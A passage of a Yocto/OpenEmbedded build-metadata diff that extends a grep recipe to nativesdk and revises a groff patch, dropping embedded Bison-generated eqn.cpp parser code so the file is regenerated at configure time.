egrep fgrep" +ALTERNATIVE:${PN} = "grep egrep fgrep" ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep" ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep" ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep" + +BBCLASSEXTEND = "nativesdk" diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch index 348a61d9df..99f590bef3 100644 --- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch +++ b/meta/recipes-extended/groff/files/0001-Include-config.h.patch @@ -17,7 +17,14 @@ In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4- ^ ./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN' -Upstream-Status: Pending +We delete eqn.cpp and qen.hpp in do_configure +to ensure they're regenerated and deterministic. + +Issue is fixed upstream with similar patches: +https://git.savannah.gnu.org/cgit/groff.git/commit/?id=979f3f4266151c7681a68a40d2c4913842a7271d +https://git.savannah.gnu.org/cgit/groff.git/commit/?id=fe121eeacd53c96105f23209b2c205f436f97359 + +Upstream-Status: Backport [see links above] Signed-off-by: Khem Raj <raj.khem@gmail.com> --- src/libs/libgroff/assert.cpp | 4 + @@ -140,1029 +147,6 @@ index f95c05e..d875045 100644 #include <string.h> #include <stdlib.h> -diff --git a/src/preproc/eqn/eqn.cpp b/src/preproc/eqn/eqn.cpp -index 4ede465..fdd9484 100644 ---- a/src/preproc/eqn/eqn.cpp -+++ b/src/preproc/eqn/eqn.cpp -@@ -1,8 +1,9 @@ --/* A Bison parser, made by GNU Bison 3.2. */ -+/* A Bison parser, made by GNU Bison 3.4.1. */ - - /* Bison implementation for Yacc-like parsers in C - -- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc. -+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation, -+ Inc. - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by -@@ -47,7 +48,7 @@ - #define YYBISON 1 - - /* Bison version. */ --#define YYBISON_VERSION "3.2" -+#define YYBISON_VERSION "3.4.1" - - /* Skeleton name. */ - #define YYSKELETON_NAME "yacc.c" -@@ -65,7 +66,11 @@ - - - /* First part of user prologue. */ --#line 18 "../src/preproc/eqn/eqn.ypp" /* yacc.c:338 */ -+#line 18 "src/preproc/eqn/eqn.ypp" -+ -+#if HAVE_CONFIG_H -+# include <config.h> -+#endif - - #include <stdio.h> - #include <string.h> -@@ -77,7 +82,8 @@ extern int non_empty_flag; - int yylex(); - void yyerror(const char *); - --#line 81 "src/preproc/eqn/eqn.cpp" /* yacc.c:338 */ -+#line 86 "src/preproc/eqn/eqn.cpp" -+ - # ifndef YY_NULLPTR - # if defined __cplusplus - # if 201103L <= __cplusplus -@@ -98,8 +104,8 @@ void yyerror(const char *); - # define YYERROR_VERBOSE 0 - #endif - --/* In a future release of Bison, this section will be replaced -- by #include "y.tab.h". */ -+/* Use api.header.include to #include this header -+ instead of duplicating it here. */ - #ifndef YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED - # define YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED - /* Debug traces. */ -@@ -237,10 +243,9 @@ extern int yydebug; - - /* Value type. */ - #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED -- - union YYSTYPE - { --#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:353 */ -+#line 34 "src/preproc/eqn/eqn.ypp" - - char *str; - box *b; -@@ -249,9 +254,9 @@ union YYSTYPE - int n; - column *col; - --#line 253 "src/preproc/eqn/eqn.cpp" /* yacc.c:353 */ --}; -+#line 258 "src/preproc/eqn/eqn.cpp" - -+}; - typedef union YYSTYPE YYSTYPE; - # define YYSTYPE_IS_TRIVIAL 1 - # define YYSTYPE_IS_DECLARED 1 -@@ -366,6 +371,8 @@ typedef short yytype_int16; - #endif - - -+#define YY_ASSERT(E) ((void) (0 && (E))) -+ - #if ! defined yyoverflow || YYERROR_VERBOSE - - /* The parser invokes alloca or malloc; define the necessary symbols. */ -@@ -508,16 +515,16 @@ union yyalloc - /* YYNSTATES -- Number of states. */ - #define YYNSTATES 142 - --/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned -- by yylex, with out-of-bounds checking. */ - #define YYUNDEFTOK 2 - #define YYMAXUTOK 315 - -+/* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM -+ as returned by yylex, with out-of-bounds checking. */ - #define YYTRANSLATE(YYX) \ - ((unsigned) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) - - /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM -- as returned by yylex, without out-of-bounds checking. */ -+ as returned by yylex. */ - static const yytype_uint8 yytranslate[] = - { - 0, 2, 2, 2, 2, 2, 2, 2, 2, 63, -@@ -558,14 +565,14 @@ static const yytype_uint8 yytranslate[] = - /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */ - static const yytype_uint16 yyrline[] = - { -- 0, 121, 121, 123, 128, 130, 141, 143, 145, 150, -- 152, 154, 156, 158, 163, 165, 167, 169, 174, 176, -- 181, 183, 185, 190, 192, 194, 196, 198, 200, 202, -- 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, -- 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, -- 244, 246, 248, 250, 252, 254, 259, 269, 271, 276, -- 278, 283, 285, 290, 292, 297, 299, 304, 306, 308, -- 310, 314, 316, 321, 323, 325 -+ 0, 125, 125, 127, 132, 134, 145, 147, 149, 154, -+ 156, 158, 160, 162, 167, 169, 171, 173, 178, 180, -+ 185, 187, 189, 194, 196, 198, 200, 202, 204, 206, -+ 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, -+ 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, -+ 248, 250, 252, 254, 256, 258, 263, 273, 275, 280, -+ 282, 287, 289, 294, 296, 301, 303, 308, 310, 312, -+ 314, 318, 320, 325, 327, 329 - }; - #endif - -@@ -818,22 +825,22 @@ static const yytype_uint8 yyr2[] = - - #define YYRECOVERING() (!!yyerrstatus) - --#define YYBACKUP(Token, Value) \ --do \ -- if (yychar == YYEMPTY) \ -- { \ -- yychar = (Token); \ -- yylval = (Value); \ -- YYPOPSTACK (yylen); \ -- yystate = *yyssp; \ -- goto yybackup; \ -- } \ -- else \ -- { \ -- yyerror (YY_("syntax error: cannot back up")); \ -- YYERROR; \ -- } \ --while (0) -+#define YYBACKUP(Token, Value) \ -+ do \ -+ if (yychar == YYEMPTY) \ -+ { \ -+ yychar = (Token); \ -+ yylval = (Value); \ -+ YYPOPSTACK (yylen); \ -+ yystate = *yyssp; \ -+ goto yybackup; \ -+ } \ -+ else \ -+ { \ -+ yyerror (YY_("syntax error: cannot back up")); \ -+ YYERROR; \ -+ } \ -+ while (0) - - /* Error token number */ - #define YYTERROR 1 -@@ -948,7 +955,7 @@ yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule) - YYFPRINTF (stderr, " $%d = ", yyi + 1); - yy_symbol_print (stderr, - yystos[yyssp[yyi + 1 - yynrhs]], -- &(yyvsp[(yyi + 1) - (yynrhs)]) -+ &yyvsp[(yyi + 1) - (yynrhs)] - ); - YYFPRINTF (stderr, "\n"); - } -@@ -1052,7 +1059,10 @@ yytnamerr (char *yyres, const char *yystr) - case '\\': - if (*++yyp != '\\') - goto do_not_strip_quotes; -- /* Fall through. */ -+ else -+ goto append; -+ -+ append: - default: - if (yyres) - yyres[yyn] = *yyp; -@@ -1148,10 +1158,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, - yyarg[yycount++] = yytname[yyx]; - { - YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]); -- if (! (yysize <= yysize1 -- && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) -+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) -+ yysize = yysize1; -+ else - return 2; -- yysize = yysize1; - } - } - } -@@ -1175,9 +1185,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, - - { - YYSIZE_T yysize1 = yysize + yystrlen (yyformat); -- if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) -+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) -+ yysize = yysize1; -+ else - return 2; -- yysize = yysize1; - } - - if (*yymsg_alloc < yysize) -@@ -1303,23 +1314,33 @@ yyparse (void) - yychar = YYEMPTY; /* Cause a token to be read. */ - goto yysetstate; - -+ - /*------------------------------------------------------------. --| yynewstate -- Push a new state, which is found in yystate. | -+| yynewstate -- push a new state, which is found in yystate. | - `------------------------------------------------------------*/ -- yynewstate: -+yynewstate: - /* In all cases, when you get here, the value and location stacks - have just been pushed. So pushing a state here evens the stacks. */ - yyssp++; - -- yysetstate: -+ -+/*--------------------------------------------------------------------. -+| yynewstate -- set current state (the top of the stack) to yystate. | -+`--------------------------------------------------------------------*/ -+yysetstate: -+ YYDPRINTF ((stderr, "Entering state %d\n", yystate)); -+ YY_ASSERT (0 <= yystate && yystate < YYNSTATES); - *yyssp = (yytype_int16) yystate; - - if (yyss + yystacksize - 1 <= yyssp) -+#if !defined yyoverflow && !defined YYSTACK_RELOCATE -+ goto yyexhaustedlab; -+#else - { - /* Get the current used size of the three stacks, in elements. */ - YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1); - --#ifdef yyoverflow -+# if defined yyoverflow - { - /* Give user a chance to reallocate the stack. Use copies of - these so that the &'s don't force the real ones into -@@ -1338,10 +1359,7 @@ yyparse (void) - yyss = yyss1; - yyvs = yyvs1; - } --#else /* no yyoverflow */ --# ifndef YYSTACK_RELOCATE -- goto yyexhaustedlab; --# else -+# else /* defined YYSTACK_RELOCATE */ - /* Extend the stack our own way. */ - if (YYMAXDEPTH <= yystacksize) - goto yyexhaustedlab; -@@ -1357,12 +1375,11 @@ yyparse (void) - goto yyexhaustedlab; - YYSTACK_RELOCATE (yyss_alloc, yyss); - YYSTACK_RELOCATE (yyvs_alloc, yyvs); --# undef YYSTACK_RELOCATE -+# undef YYSTACK_RELOCATE - if (yyss1 != yyssa) - YYSTACK_FREE (yyss1); - } - # endif --#endif /* no yyoverflow */ - - yyssp = yyss + yysize - 1; - yyvsp = yyvs + yysize - 1; -@@ -1373,19 +1390,18 @@ yyparse (void) - if (yyss + yystacksize - 1 <= yyssp) - YYABORT; - } -- -- YYDPRINTF ((stderr, "Entering state %d\n", yystate)); -+#endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */ - - if (yystate == YYFINAL) - YYACCEPT; - - goto yybackup; - -+ - /*-----------. - | yybackup. | - `-----------*/ - yybackup: -- - /* Do appropriate processing given the current state. Read a - lookahead token if we need one and don't already have one. */ - -@@ -1443,7 +1459,6 @@ yybackup: - YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN - *++yyvsp = yylval; - YY_IGNORE_MAYBE_UNINITIALIZED_END -- - goto yynewstate; - - -@@ -1458,7 +1473,7 @@ yydefault: - - - /*-----------------------------. --| yyreduce -- Do a reduction. | -+| yyreduce -- do a reduction. | - `-----------------------------*/ - yyreduce: - /* yyn is the number of a rule to reduce with. */ -@@ -1478,20 +1493,20 @@ yyreduce: - YY_REDUCE_PRINT (yyn); - switch (yyn) - { -- case 3: --#line 124 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+ case 3: -+#line 128 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].b)->top_level(); non_empty_flag = 1; } --#line 1485 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1500 "src/preproc/eqn/eqn.cpp" - break; - - case 4: --#line 129 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 133 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1491 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1506 "src/preproc/eqn/eqn.cpp" - break; - - case 5: --#line 131 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 135 "src/preproc/eqn/eqn.ypp" - { - list_box *lb = (yyvsp[-1].b)->to_list_box(); - if (!lb) -@@ -1499,436 +1514,437 @@ yyreduce: - lb->append((yyvsp[0].b)); - (yyval.b) = lb; - } --#line 1503 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1518 "src/preproc/eqn/eqn.cpp" - break; - - case 6: --#line 142 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 146 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1509 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1524 "src/preproc/eqn/eqn.cpp" - break; - - case 7: --#line 144 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 148 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_mark_box((yyvsp[0].b)); } --#line 1515 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1530 "src/preproc/eqn/eqn.cpp" - break; - - case 8: --#line 146 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 150 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_lineup_box((yyvsp[0].b)); } --#line 1521 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1536 "src/preproc/eqn/eqn.cpp" - break; - - case 9: --#line 151 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 155 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1527 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1542 "src/preproc/eqn/eqn.cpp" - break; - - case 10: --#line 153 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 157 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_limit_box((yyvsp[-2].b), 0, (yyvsp[0].b)); } --#line 1533 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1548 "src/preproc/eqn/eqn.cpp" - break; - - case 11: --#line 155 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 159 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0); } --#line 1539 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1554 "src/preproc/eqn/eqn.cpp" - break; - - case 12: --#line 157 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 161 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_limit_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); } --#line 1545 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1560 "src/preproc/eqn/eqn.cpp" - break; - - case 13: --#line 159 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 163 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_limit_box((yyvsp[-4].b), make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0), 0); } --#line 1551 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1566 "src/preproc/eqn/eqn.cpp" - break; - - case 14: --#line 164 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 168 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1557 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1572 "src/preproc/eqn/eqn.cpp" - break; - - case 15: --#line 166 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 170 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_sqrt_box((yyvsp[0].b)); } --#line 1563 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1578 "src/preproc/eqn/eqn.cpp" - break; - - case 16: --#line 168 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 172 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_over_box((yyvsp[-2].b), (yyvsp[0].b)); } --#line 1569 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1584 "src/preproc/eqn/eqn.cpp" - break; - - case 17: --#line 170 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 174 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_small_over_box((yyvsp[-2].b), (yyvsp[0].b)); } --#line 1575 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1590 "src/preproc/eqn/eqn.cpp" - break; - - case 18: --#line 175 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 179 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1581 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1596 "src/preproc/eqn/eqn.cpp" - break; - - case 19: --#line 177 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 181 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_script_box((yyvsp[-2].b), 0, (yyvsp[0].b)); } --#line 1587 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1602 "src/preproc/eqn/eqn.cpp" - break; - - case 20: --#line 182 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 186 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[0].b); } --#line 1593 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1608 "src/preproc/eqn/eqn.cpp" - break; - - case 21: --#line 184 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 188 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_script_box((yyvsp[-2].b), (yyvsp[0].b), 0); } --#line 1599 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1614 "src/preproc/eqn/eqn.cpp" - break; - - case 22: --#line 186 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 190 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_script_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); } --#line 1605 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1620 "src/preproc/eqn/eqn.cpp" - break; - - case 23: --#line 191 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 195 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = split_text((yyvsp[0].str)); } --#line 1611 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1626 "src/preproc/eqn/eqn.cpp" - break; - - case 24: --#line 193 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 197 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new quoted_text_box((yyvsp[0].str)); } --#line 1617 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1632 "src/preproc/eqn/eqn.cpp" - break; - - case 25: --#line 195 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 199 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = split_text((yyvsp[0].str)); } --#line 1623 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1638 "src/preproc/eqn/eqn.cpp" - break; - - case 26: --#line 197 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 201 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new quoted_text_box((yyvsp[0].str)); } --#line 1629 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1644 "src/preproc/eqn/eqn.cpp" - break; - - case 27: --#line 199 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 203 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new half_space_box; } --#line 1635 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1650 "src/preproc/eqn/eqn.cpp" - break; - - case 28: --#line 201 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 205 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new space_box; } --#line 1641 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1656 "src/preproc/eqn/eqn.cpp" - break; - - case 29: --#line 203 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 207 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new tab_box; } --#line 1647 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1662 "src/preproc/eqn/eqn.cpp" - break; - - case 30: --#line 205 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 209 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[-1].b); } --#line 1653 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1668 "src/preproc/eqn/eqn.cpp" - break; - - case 31: --#line 207 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 211 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); } --#line 1659 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1674 "src/preproc/eqn/eqn.cpp" - break; - - case 32: --#line 209 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 213 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].pb)->set_alignment(LEFT_ALIGN); (yyval.b) = (yyvsp[0].pb); } --#line 1665 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1680 "src/preproc/eqn/eqn.cpp" - break; - - case 33: --#line 211 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 215 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].pb)->set_alignment(RIGHT_ALIGN); (yyval.b) = (yyvsp[0].pb); } --#line 1671 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1686 "src/preproc/eqn/eqn.cpp" - break; - - case 34: --#line 213 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 217 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); } --#line 1677 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1692 "src/preproc/eqn/eqn.cpp" - break; - - case 35: --#line 215 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 219 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = (yyvsp[-1].mb); } --#line 1683 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1698 "src/preproc/eqn/eqn.cpp" - break; - - case 36: --#line 217 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 221 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_delim_box((yyvsp[-3].str), (yyvsp[-2].b), (yyvsp[0].str)); } --#line 1689 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1704 "src/preproc/eqn/eqn.cpp" - break; - - case 37: --#line 219 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 223 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_delim_box((yyvsp[-1].str), (yyvsp[0].b), 0); } --#line 1695 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1710 "src/preproc/eqn/eqn.cpp" - break; - - case 38: --#line 221 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 225 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_overline_box((yyvsp[-1].b)); } --#line 1701 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1716 "src/preproc/eqn/eqn.cpp" - break; - - case 39: --#line 223 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 227 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_underline_box((yyvsp[-1].b)); } --#line 1707 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1722 "src/preproc/eqn/eqn.cpp" - break; - - case 40: --#line 225 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 229 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_prime_box((yyvsp[-1].b)); } --#line 1713 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1728 "src/preproc/eqn/eqn.cpp" - break; - - case 41: --#line 227 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 231 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_accent_box((yyvsp[-2].b), (yyvsp[0].b)); } --#line 1719 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1734 "src/preproc/eqn/eqn.cpp" - break; - - case 42: --#line 229 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 233 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_uaccent_box((yyvsp[-2].b), (yyvsp[0].b)); } --#line 1725 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1740 "src/preproc/eqn/eqn.cpp" - break; - - case 43: --#line 231 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 235 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new font_box(strsave(get_grfont()), (yyvsp[0].b)); } --#line 1731 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1746 "src/preproc/eqn/eqn.cpp" - break; - - case 44: --#line 233 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 237 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new font_box(strsave(get_gbfont()), (yyvsp[0].b)); } --#line 1737 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1752 "src/preproc/eqn/eqn.cpp" - break; - - case 45: --#line 235 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 239 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new font_box(strsave(get_gfont()), (yyvsp[0].b)); } --#line 1743 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1758 "src/preproc/eqn/eqn.cpp" - break; - - case 46: --#line 237 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 241 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new fat_box((yyvsp[0].b)); } --#line 1749 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1764 "src/preproc/eqn/eqn.cpp" - break; - - case 47: --#line 239 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 243 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new font_box((yyvsp[-1].str), (yyvsp[0].b)); } --#line 1755 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1770 "src/preproc/eqn/eqn.cpp" - break; - - case 48: --#line 241 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 245 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new size_box((yyvsp[-1].str), (yyvsp[0].b)); } --#line 1761 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1776 "src/preproc/eqn/eqn.cpp" - break; - - case 49: --#line 243 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 247 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new hmotion_box((yyvsp[-1].n), (yyvsp[0].b)); } --#line 1767 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1782 "src/preproc/eqn/eqn.cpp" - break; - - case 50: --#line 245 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 249 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new hmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); } --#line 1773 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1788 "src/preproc/eqn/eqn.cpp" - break; - - case 51: --#line 247 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 251 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new vmotion_box((yyvsp[-1].n), (yyvsp[0].b)); } --#line 1779 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1794 "src/preproc/eqn/eqn.cpp" - break; - - case 52: --#line 249 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 253 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new vmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); } --#line 1785 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1800 "src/preproc/eqn/eqn.cpp" - break; - - case 53: --#line 251 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 255 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].b)->set_spacing_type((yyvsp[-1].str)); (yyval.b) = (yyvsp[0].b); } --#line 1791 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1806 "src/preproc/eqn/eqn.cpp" - break; - - case 54: --#line 253 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 257 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = new vcenter_box((yyvsp[0].b)); } --#line 1797 